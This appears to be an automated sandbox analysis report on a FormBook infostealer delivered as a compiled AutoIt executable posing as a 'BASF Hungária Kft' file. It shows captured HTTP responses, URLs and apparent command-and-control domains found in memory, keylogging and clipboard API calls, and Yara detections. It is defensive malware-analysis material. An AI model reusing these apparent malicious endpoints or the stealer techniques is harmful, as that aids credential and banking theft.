                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 14:13:19 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 14:13:22 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 14:13:25 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Nov 2024 14:14:18 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Nov 2024 14:14:21 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
                Source: ROCRLWAZDr.exe, 00000003.00000002.3557262853.0000000006636000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.0000000005786000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: http://aballanet.cat/6xrr/?XHa8pH8=HxJAUmNG5a
                Source: ROCRLWAZDr.exe, 00000003.00000002.3558620586.000000000857F000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.brightvision.website
                Source: ROCRLWAZDr.exe, 00000003.00000002.3558620586.000000000857F000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.brightvision.website/gn26/
                Source: mobsync.exe, 00000004.00000002.3555484946.0000000007910000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.canadavinreport.site/g3h7/?XHa8pH8=dyqW
                Source: mobsync.exe, 00000004.00000002.3555484946.0000000007910000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.madhf.tech/0mwe/?XHa8pH8=I6/MvosI1M4GXnAB4bTWBGDp85hsOSNe9tmkEszzRtOWIwRcIvXs05Ha3jXYoQpx
                Source: ROCRLWAZDr.exe, 00000003.00000002.3557262853.0000000006AEC000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.0000000005C3C000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: http://www.thinkphp.cn
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: ROCRLWAZDr.exe, 00000003.00000002.3557262853.0000000006E10000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.0000000005F60000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://cdn-bj.trafficmanager.net/?h=
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2LMEM
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: mobsync.exe, 00000004.00000002.3553043634.00000000031A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: mobsync.exe, 00000004.00000003.2116138777.0000000007B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: mobsync.exe, 00000004.00000003.2125526977.0000000007BBE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: ROCRLWAZDr.exe, 00000003.00000002.3557262853.0000000006FA2000.00000004.80000000.00040000.00000000.sdmp, mobsync.exe, 00000004.00000002.3554100696.00000000060F2000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://zkdamdjj.shop/kf1m/?XHa8pH8=gD/FPiA75bYZCbZAYB/YrW9xurwFI/r4HqBHW8I3
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007A4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_007A4164
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007A4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_007A4164
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007A3F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_007A3F66
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_0079001C
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007BCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_007BCABC

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.3553532020.0000000004880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3558620586.00000000084F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1929852390.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3552790093.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1930322182.0000000003820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3552981076.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3553845307.0000000003AD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1930790727.0000000004A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: This is a third-party compiled AutoIt script.0_2_00733B3A
                Source: BASF Hung#U00e1ria Kft.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: BASF Hung#U00e1ria Kft.exe, 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_9f9db58a-7
                Source: BASF Hung#U00e1ria Kft.exe, 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_f65cfb11-7
                Source: BASF Hung#U00e1ria Kft.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_6bcc7196-3
                Source: BASF Hung#U00e1ria Kft.exeString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_507ff622-a
